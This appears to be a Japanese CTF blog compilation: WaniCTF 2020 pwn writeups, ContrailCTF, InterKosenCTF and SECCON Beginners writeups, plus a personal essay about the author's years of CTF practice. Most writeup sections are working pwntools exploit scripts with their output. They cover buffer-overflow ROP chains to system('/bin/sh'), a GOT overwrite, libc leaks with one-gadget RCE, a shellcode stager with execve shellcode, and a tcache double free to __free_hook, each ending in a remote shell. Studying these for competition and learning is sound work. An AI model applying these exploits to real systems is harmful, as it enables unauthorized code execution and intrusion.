WaniCTF 2020 Writeup
[Pwn] netcat
実行結果
m412u@ubuntu:~/CTF/wanictf/netcat$ nc netcat.wanictf.org 9001 congratulation! ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 13 07:35 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8656 Nov 13 07:34 chall -r--r----- 1 root pwn 33 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh cat flag.txt FLAG{netcat-1s-sw1ss-4rmy-kn1fe} ^C m412u@ubuntu:~/CTF/wanictf/netcat$
[Pwn] var rewrite
exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn02" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9002) else: p = process(binfile) payload = b"" payload += b"A" * 30 payload += p64(0x4006ce) payload += p64(0x400b43) # pop rdi ; ret ; payload += p64(0x400b74) # /bin/sh payload += p64(0x400746) # system@plt p.recvuntil("What's your name?: ") p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/var_rewrite$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/var_rewrite/pwn02' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9002: Done [*] Switching to interactive mode hello AAAAAAAAAAAAAAAAAA?! target = AAAAAAAA? ***start stack dump*** 0x7fff046e0f90: 0x00007fff046e0fb0 <- rsp 0x7fff046e0f98: 0x4141414141410790 0x7fff046e0fa0: 0x4141414141414141 0x7fff046e0fa8: 0x0000003f41414141 0x7fff046e0fb0: 0x4141414141414141 <- rbp 0x7fff046e0fb8: 0x00000000004006ce <- return address ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:43 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 9072 Nov 18 12:43 chall -r--r----- 1 root pwn 49 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te} $ exit Segmentation fault (core dumped) [*] Got EOF while reading in interactive $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/var_rewrite$
[Pwn] binsh address
exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn03" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9003) else: p = process(binfile) p.recvuntil("The address of \"input \" is ") input_addr = eval(p.recv(14)) log.info("input_addr: 0x{:08x}".format(input_addr)) base_addr = input_addr - 0x2010 log.info("base_addr: 0x{:08x}".format(base_addr)) binsh_addr = base_addr + 0x2020 log.info("binsh_addr: 0x{:08x}".format(binsh_addr)) p.sendline(hex(binsh_addr)) sleep(0.5) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/binsh_address$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/binsh_address/pwn03' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to var.wanictf.org on port 9003: Done [*] input_addr: 0x557885c2b010 [*] base_addr: 0x557885c29000 [*] binsh_addr: 0x557885c2b020 [*] Switching to interactive mode . Please input "/bin/sh" address as a hex number: Your input address is 0x557885c2b020. Congratulation! $ ls -al total 32 drwxr-xr-x 1 root pwn 4096 Nov 18 12:44 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 13176 Nov 18 12:44 chall -r--r----- 1 root pwn 36 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs} $ [*] Interrupted
[Pwn] got rewriter
exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn04" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9004) else: p = process(binfile) p.recvuntil(": ") p.sendline("0x601038") p.recvuntil(": ") p.sendline("0x400807") sleep(0.5) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/got_rewriter$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/got_rewriter/pwn04' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9004: Done [*] Switching to interactive mode Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8864 Nov 18 12:43 chall -r--r----- 1 root pwn 42 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/got_rewriter$
[Pwn] ret rewrite
exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn05" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9005) else: p = process(binfile) payload = b"" payload += b"A" * 22 payload += p64(0x400696) payload += p64(0x400ab3) # pop rdi ; ret ; payload += p64(0x400ae4) # /bin/sh payload += p64(0x400700) # system@plt p.recvuntil("What's your name?: ") p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/ret_rewriter/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9005: Done [*] Switching to interactive mode Hello AAAAAAAAAA7! ***start stack dump*** 0x7ffe6adafa30: 0x414141414141fb30 <- rsp 0x7ffe6adafa38: 0x0000003741414141 0x7ffe6adafa40: 0x4141414141414141 <- rbp 0x7ffe6adafa48: 0x0000000000400696 <- return address 0x7ffe6adafa50: 0x0000000000400ab3 0x7ffe6adafa58: 0x0000000000400ae4 0x7ffe6adafa60: 0x0000000000400700 ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 9024 Nov 18 12:43 chall -r--r----- 1 root pwn 49 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/ret_rewriter$
[Pwn] rop func call
exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn06" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' set follow-fork-mode parent break *0x400811 break *0x400899 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9006) else: p = process(binfile) payload = b"" payload += b"A" * 22 payload += p64(0x40065e) payload += p64(0x400a53) # pop rdi ; ret ; payload += p64(0x601080) # /bin/sh payload += p64(0x4006C0) # system@plt p.recvuntil("What's your name?: ") sleep(0.5) p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/rop_func_call$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/rop_func_call/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9006: Done [*] Switching to interactive mode hello AAAAAAAAAA7! ***start stack dump*** 0x7ffc7ad7fa10: 0x4141414141410000 <- rsp 0x7ffc7ad7fa18: 0x0000003741414141 0x7ffc7ad7fa20: 0x4141414141414141 <- rbp 0x7ffc7ad7fa28: 0x000000000040065e <- return address 0x7ffc7ad7fa30: 0x0000000000400a53 0x7ffc7ad7fa38: 0x0000000000601080 0x7ffc7ad7fa40: 0x00000000004006c0 ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8992 Nov 18 12:43 chall -r--r----- 1 root pwn 39 Nov 18 12:43 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{learning-rop-and-x64-system-call} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/rop_func_call$
[Pwn] one gadget rce
exploit
from pwn import * from sys import argv #context.log_level = "debug" binary = "./pwn07" elf = ELF(binary) libc = elf.libc PUTS_OFF = 0x80aa0 SYSTEM_OFF = 0x4f550 BINSH_OFF = 0x1b3e1a if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binary, ''' set follow-fork-mode parent break *0x400811 break *0x400899 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("rce.wanictf.org", 9007) else: p = process(binary) payload = b"" payload += b"A" * 22 payload += p64(0x400626) # ret ; payload += p64(0x400a13) # pop rdi ; ret ; payload += p64(0x601020) # puts@got payload += p64(0x400650) # puts@plt payload += p64(0x40085e) # main_addr p.recvuntil("What's your name?: ") p.sendline(payload) p.recvuntil("***end stack dump***\n\n") sleep(0.5) # puts_gotのリーク puts_got = u64(p.recv(6)+b"\x00\x00") # データの整形 log.info("puts_got: 0x{:08x}".format(puts_got)) # libcのベースアドレス特定 libc_base = puts_got - PUTS_OFF log.info("libc_base: 0x{:08x}".format(libc_base)) # 2回目の攻撃 system_addr = libc_base + SYSTEM_OFF log.info("system_addr: 0x{:08x}".format(system_addr)) binsh_addr = libc_base + BINSH_OFF log.info("binsh_addr: 0x{:08x}".format(binsh_addr)) payload2 = b"" payload2 += b"A" * 22 payload2 += p64(0x400626) payload2 += p64(0x400a13) payload2 += p64(binsh_addr) payload2 += p64(system_addr) sleep(1) p.recvuntil("What's your name?: ") p.sendline(payload2) p.recvuntil("***end stack dump***\n\n") p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/one_gadget_rce/pwn07' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to rce.wanictf.org on port 9007: Done [*] puts_got: 0x7f2d52157aa0 [*] libc_base: 0x7f2d520d7000 [*] system_addr: 0x7f2d52126550 [*] binsh_addr: 0x7f2d5228ae1a [*] Switching to interactive mode $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8888 Nov 18 12:43 chall -r--r----- 1 root pwn 43 Nov 18 12:43 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$
ContrailCTF writeup [EasyShellcode]
はじめに
この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.
プログラムの概要
問題を開くと上記のようなウィンドウが表示されます.ここから
$ nc 114.177.250.4 2210
で接続すると配布されているバイナリ problem
が実行されているということが予想できます.
実際に接続してみると
Input your shellcode:
と表示され入力を受け付けていることがわかります.
静的解析
ファイルの種類・セキュリティ機構
$ file ./problem ./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped $ checksec.sh --file ./problem RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./problem
ディスアセンブル
$ radare2 -AA ./problem [Cannot analyze at 0x00000700g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x00000700ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables -- Find expanded AES keys in memory with '/ca' [0x00000710]> pdf @ main ; DATA XREF from entry0 @ 0x72d ┌ 191: int main (int argc, char **argv, char **envp); │ 0x0000081a 55 push rbp │ 0x0000081b 4889e5 mov rbp, rsp │ 0x0000081e 4883ec10 sub rsp, 0x10 │ 0x00000822 64488b042528. mov rax, qword fs:[0x28] │ 0x0000082b 488945f8 mov qword [rbp - 8], rax │ 0x0000082f 31c0 xor eax, eax │ 0x00000831 41b900000000 mov r9d, 0 ; size_t offset │ 0x00000837 41b800000000 mov r8d, 0 ; int fd │ 0x0000083d b922000000 mov ecx, 0x22 ; '"' ; int flags │ 0x00000842 ba07000000 mov edx, 7 ; int prot │ 0x00000847 be64000000 mov esi, 0x64 ; 'd' ; size_t length │ 0x0000084c bf00000000 mov edi, 0 ; void*addr │ 0x00000851 e85afeffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset) │ 0x00000856 488945f0 mov qword [rbp - 0x10], rax │ 0x0000085a 488d3d230100. lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format │ 0x00000861 b800000000 mov eax, 0 │ 0x00000866 e855feffff call sym.imp.printf ; int printf(const char *format) │ 0x0000086b 488b059e0720. mov rax, qword [obj.stdout] ; obj.__TMC_END │ ; [0x201010:8]=0 │ 0x00000872 4889c7 mov rdi, rax ; FILE *stream │ 0x00000875 e866feffff call sym.imp.fflush ; int fflush(FILE *stream) │ 0x0000087a 488b45f0 mov rax, qword [rbp - 0x10] │ 0x0000087e ba14000000 mov edx, 0x14 ; size_t nbyte │ 0x00000883 4889c6 mov rsi, rax ; void *buf │ 0x00000886 bf00000000 mov edi, 0 ; int fildes │ 0x0000088b e840feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ 0x00000890 488b45f0 mov rax, qword [rbp - 0x10] │ 0x00000894 ba07000000 mov edx, 7 │ 0x00000899 be64000000 mov esi, 0x64 ; 'd' │ 0x0000089e 4889c7 mov rdi, rax │ 0x000008a1 e84afeffff call sym.imp.mprotect │ 0x000008a6 488d45f0 lea rax, [rbp - 0x10] │ 0x000008aa 4831d2 xor rdx, rdx │ 0x000008ad 4831ff xor rdi, rdi │ 0x000008b0 4831f6 xor rsi, rsi │ 0x000008b3 4831db xor rbx, rbx │ 0x000008b6 4831c9 xor rcx, rcx │ 0x000008b9 4d31c0 xor r8, r8 │ 0x000008bc 4d31c9 xor r9, r9 │ 0x000008bf 4d31d2 xor r10, r10 │ 0x000008c2 4d31db xor r11, r11 │ 0x000008c5 4d31e4 xor r12, r12 │ 0x000008c8 4d31ed xor r13, r13 │ 0x000008cb 4d31f6 xor r14, r14 │ 0x000008ce 4d31ff xor r15, r15 │ 0x000008d1 4831ed xor rbp, rbp │ 0x000008d4 4831e4 xor rsp, rsp └ 0x000008d7 ff20 jmp qword [rax]
プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.
x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes
そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.
システムコール
readシステムコールの書式は以下のようになっています.
#include <unistd.h> ssize_t read(int fd, void *buf, size_t count);
まず,第1引数 rdi
に fd
,第2引数 rsi
に *buf
,第3引数 rdx
に count
を格納します.
そして,rax
に 0
を格納して syscall
を読んでやるとreadが呼ばれます.
※システムコールコール番号の確認方法
$ ausyscall x86_64 read read 0 pread 17 readv 19 readlink 89 readahead 187 set_thread_area 205 get_thread_area 211 readlinkat 267 preadv 295 process_vm_readv 310 preadv2 327
シェルコード読み込み部分の詳細
mov rsp, rax ; スタックフレームを復元 mov rsi, [rax] ; シェルコードの格納先 mov rdx, 61 ; 読み込みサイズ(パディング32byte+シェルコード29byte) xor rax, rax ; raxを0に(readのシステムコール番号) syscall jmp rsi ; シェルコード格納先へジャンプ
エクスプロイト
from pwn import * from sys import argv from time import sleep context.log_level = "INFO" binfile = "./problem" context.binary = binfile elf = ELF(binfile) p = remote("114.177.250.4", 2210) payload = b"" payload += asm(''' mov rsp, rax mov rsi, [rax] mov rdx, 61 xor rax, rax syscall jmp rsi ''') padding = b"\x90" * 0x20 shellcode = b"" shellcode += asm(''' xor rdx, rdx push rdx movabs rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+0x3b] syscall ''') p.recvuntil("Input your shellcode: ") p.send(payload) p.send(padding+shellcode) p.interactive()
動作例
おわりに
参加していただいた方々,本当にありがとうございます. 間違い等ございましたら連絡よろしくお願いします.
参考
CTFと共に一年を振り返って
はじめに
この記事は Contrail Advent Calendar 1日目の記事です.
今年もAdventCalendarの季節になりました.これまでは読むだけでしたが,せっかくなので書いてみようと挑戦してみました.が,技術?系以外の記事を書くのは初めてなので上手く書けてるかわかりません.また,タイトルでは1年となっていますが,4年ぐらい振り返っています.
CTFとMaru
CTFとの出会い (2015)
僕がCTFと出会ったのは大学へ入学したのと同じ年の2015年のことでした.学部では競技プログラミングこそ講義中にアナウンスされたりしていましたが,セキュリティ関係でそのような話はありませんでした.そのため,自分で似たようなことがないのか調べている最中にCTFを見つけました.そしてすぐに「CTF for ビギナーズ in 長野」(現SECCON Beginners)へ参加しました.1 この勉強会の最後にはミニCTFがあるのですが結果は散々でした.はっきり申し上げると下から2番目でした.この年の春に大学へ入学し,プログラミングをはじめてターミナルなんかの操作も cd
,ls
がやっとだったので当然といえば当然だったのかもしれません.当時の自分にとってはかなりショックでしたが,今思えばこの経験がすべての始まりだったのかもしれません.
CTFとのお付き合い
はじめて参加した勉強会のあともCTFに対しての熱は冷めませんでした.その年(2015年)の夏休みの終わりで人間関係とかから部活を辞めていて,また何かをやめることが怖かったしなによりフラグを通すのが楽しかったのだと思います.それからというもの自分のペースで常設CTFに挑戦していきました.その中で自分は主にPwnに取り組みました.その理由として,Pwn問の中にはCのソースコードが配布される問題があります.大学でも授業ではC言語を取り扱っていたので少しは解くためのきっかけがつかめるのではないかと考えたからです.しかし,Pwnでは普段のCプログラミングではあまり注目することのない低レイヤーな部分の知識が必要となってきます.
Contrailの誕生 (2016)
CTFtimeなどからCTFに参加するには形だけでもチームが必要な場合が多いので1人でContrailを立ち上げました.CTFTimeに残っている最古の記録はSharifCTF 7への参加なのでおそらくその頃に作成したのだと思います.ちなみにチーム名の由来はそのころ使っていたのPCの壁紙が飛行機と飛行機雲だったからです.自分のアイコンが飛べない鳥ペンギンであること,飛行機雲が空を飛ぶことへの憧れだったとか深い意味はありません.マジです.
チームを作ったはいいものの普段は常設CTFを自分のペースで解いていました.毎週末開催される様なCTFはレベルが高すぎる+時間が圧倒的に足りないので気が向いたときに自分が納得するまで試すことができる常設CTFはとてもありがたいものでした.その中でも LSECTF とCpawCTF2には特にお世話になりました.記録 からわかるようにかなり長期間に渡って挑戦しています.Pwn(Exploit)ではソースコードが配布されるものもあるのでとっつきやすいのではないかと思います.
再挑戦 (2017)
2017年に「SECCON Beginners 名古屋」に参加しました.2 一応,長野のリベンジのつもりとして参加しました.3 紆余曲折ありながらも継続してきたことが良かったのかある程度の問題は解けるようになっていました.その中で解けなかった問題を勉強会の終了直後から復習しました.大学の講義中もカタカタしながら最後まで残ったRev問 のフラグは You are not beginners
でした.全くの初心者からはじめてコツコツと継続したものが少し報われたような気がして嬉しかったことをいまでも覚えています.
crackme_revengeようやく解けた・・・
— Maru (@GmS944y) 2017年7月20日
1ヶ月近くかかったけど #ctf4b
この経験からPwnを中心に取り組んで行こうと決めて(なんで!?),前述したLSECTFなどで練習をしました.ハリネズミ本の物理本を章ごとで割いてPwnの章をいつも持ち歩いて読んでいました(作者様すみません).
新たな環境へ (2019)
2019年の3月に大学を卒業するにあたり,様々な理由からプログラマ・ITエンジニアの様な仕事には就けなかったのでそれを期にCTFは辞めようと考えていました.でも,そのまま辞めてしまうのはもったいないと感じたので大学に全部置いて行こうと決めました.そのアウトプットとして学内でLT,勉強会を開催させていただきました.4
ContrailとMaru
今年の春,やっぱりCTFを続けたい・気軽にCTFに関する話題で会話できればという思いからチームメンバーを募集しました.自分の想像を超えて多くの方から連絡をいただき本当に嬉しく思います.
CTFチームの募集をしたいと思います.
— Maru (@GmS944y) 2019年4月20日
興味・質問のある方はDMかなにかでご連絡ください.
チーム勉強会とMaru
8月にチームの参加可能なメンバー+交流のある方をお誘いしてCTF勉強会を開催しました.その間はすべてのリソースをCTFへ割ける素晴らしさを感じました(またしたい).皆さんの豊富な知識や技術に圧倒されながらも,CTFに対する思いは強くなりました.偶然時期が重なって開催されたCTFでは普段では諦めてしまいそうな問題も取り組むことができました.
勉強会の雰囲気はハッシュタグ #Contrail勉強会
で検索していただくとなんとなく感じていただけるのではないかと思います.
これから
変わらない足取りを
おわりに
短いですが最後まで読んでいただきありがとうございます.
チームのメンバー,TwitterなどSNSで良くして頂いている方,勉強会に協力・参加してくださった学内の関係者各位,本当にありがとうございます.この場を借りてお礼を伝えたいと思います.また,ブログ上であることお許しください.
TwitterのDMは開放しておりますので,ご意見,ご感想,ご質問等々あれば連絡していただけると幸いです.
次の記事は@y05h1k1ngさんの「Contrail修行日記を書きます」です.よろしくお願いします.
-
ブログ書きながら気づいたんですが大体2年の記念日だったんですね.(長野:2015/7/5,名古屋:2017/7/1)↩
-
その際の資料はSpeakerDeckに置いてあります.↩
InterKosenCTF stegorop writeup
はじめに
チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.
自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.
プログラムの概略
問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.
方針
実行してみるとわかりますが,単純にスタックベースのBOFが存在します.
libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました.
問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました.
下に示すようにmain関数終了時にlockに 1
が格納され,2度目にmain関数を呼ぶ際に 1
であると abort
が発生してプログラムが終了していまいます.
そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました.
そうすることで,ROP chainが開始し,lockを埋める 0
と one-gadget rce
のアドレスを追加で読み込ませました.
エクスプロイトコード
from pwn import * from sys import argv context.log_level = "INFO" binary = "./chall" elf = ELF(binary) if len(argv) >= 2 and sys.argv[1] == "r": p = remote("pwn.kosenctf.com", 9002) libc = ("./libc-2.27.so") PUTS_OFF = 0x809c0 else: p = gdb.debug(binary, ''' break *0x400914 break *0x4008e1 continue ''') PUTS_OFF = 0x809c0 payload = b"" payload += b"A" * 112 payload += p64(0x601149+0x70) payload += p64(0x4009b3) # pop rdi ; ret ; payload += p64(0x601028) # puts@got payload += p64(0x400620) # puts@plt payload += p64(0x4005ee) # ret ; payload += p64(0x4008e1) # main関数の途中 payload += p64(0x40087c) # main関数の先頭 p.recvuntil("Input: ") p.send(payload) p.recvline() puts_got = u64(p.recv(6)+b"\x00\x00") # データの整形 log.info("puts_got: 0x{:08x}".format(puts_got)) libc_base = puts_got - PUTS_OFF log.info("libc_base: 0x{:08x}".format(libc_base)) one_shot = libc_base + 0x4f322 payload2 = b"" payload2 += p64(0x0) payload2 += p64(one_shot) * 0x10 p.recvuntil("Input: ") p.send(payload2) time.sleep(1) p.interactive()
実行結果
おわりに
フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.
SECCON Beginners CTF 2019 BabyHeap Writeup
はじめに
5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.
お疲れ様でした。
— Maru (@GmS944y) 2019年5月26日
#ctf4b pic.twitter.com/QG3vfwFlB9
BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.
配布されたファイル
実行ファイルとライブラリが配布されました.
- babyheap
- libc-2.27.so
ファイルの調査
$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped $ checksec.sh --file babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap
プログラムの動作
$ ./babyheap Welcome to babyheap challenge! Present for you!! >>>>> 0x7f54f180ca00 <<<<< MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
プレゼント
実行するとプレゼントとして_IO_2_1_stdin_
のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_
のオフセットを引くとライブラリのベースアドレスを入手できます.
_IO_2_1_stdin_
のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
- 例:
0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000
MENU
- Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrが
NULL
の場合のみ). - Delete: mallocで確保した領域を解放(free).
- Wipe: mallocで確保した領域へのアドレスを格納した変数ptrを
NULL
. - Exit: プログラムを終了.
とりあえず結果
エクスプロイトコード
from pwn import * stdin_off = 0x3eba00 one_gadget_off = 0x4f322 free_hook_off = 0x3ed8e8 s = remote("localhost", 9999) s.recvuntil(">>>>> ") stdin_addr = eval(s.recv(14)) info("stdin_addr: 0x{:08x}".format(stdin_addr)) libc_base = stdin_addr - stdin_off info("libc_base: 0x{:08x}".format(libc_base)) free_hook = libc_base + free_hook_off info("free_hook: 0x{:08x}".format(free_hook)) one_gadget = libc_base + one_gadget_off info("one_gadget: 0x{:08x}".format(one_gadget)) # step1: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("AAAAAAAA") # step2: free(1回目) s.recvuntil("> ") s.sendline("2") # step3: free(2回目) s.recvuntil("> ") s.sendline("2") # step4: wipe s.recvuntil("> ") s.sendline("3") # step5: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(free_hook)) # step6: wipe s.recvuntil("> ") s.sendline("3") # step7: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline("BBBBBBBB") # step8: wipe s.recvuntil("> ") s.sendline("3") # step9: alloc s.recvuntil("> ") s.sendline("1") s.recvuntil("Input Content: ") s.sendline(p64(one_gadget)) # step10: free s.recvuntil("> ") s.sendline("2") s.interactive()
実行結果
$ python solve.py [+] Opening connection to localhost on port 9999: Done [*] stdin_addr: 0x7f4e8212aa00 [*] libc_base: 0x7f4e81d3f000 [*] free_hook: 0x7f4e8212c8e8 [*] one_gadget: 0x7f4e81d8e322 [*] Switching to interactive mode $ id uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)
処理を追ってみる
step1~10に分けて処理を見ていきたいと思います.
step1
まず,1. Alloc
を選択してデータAAAAAAAA
を入力します.
そうすると,上図のようにアドレス0x555555757250
に領域を確保(chunk X とします.)し,データが格納されます.
ちなみに,アドレス0x555555757258
の0x41はchunkのサイズとchunkを管理するための情報なので入力したA
とは関係ありません.
step2
次に2. Delete
を選択して確保した領域を解放します.
今回のように小さなサイズを解放した場合,tcache
に繋いでfree済みchunkを管理します.
step3
再び2. Delete
を選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.
step4
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step5
1. Alloc
を選択し,データとして書き込み先のアドレスを格納します.
step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).
step6
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step7
step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcache
に___free_hook
へのアドレスが格納されます.
step8
3. Wipe
を選択し,再び1. Alloc
が可能な状態にします.
step9
step8の状態でmallocを行うと,あたかも__free_hook
周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.
step10
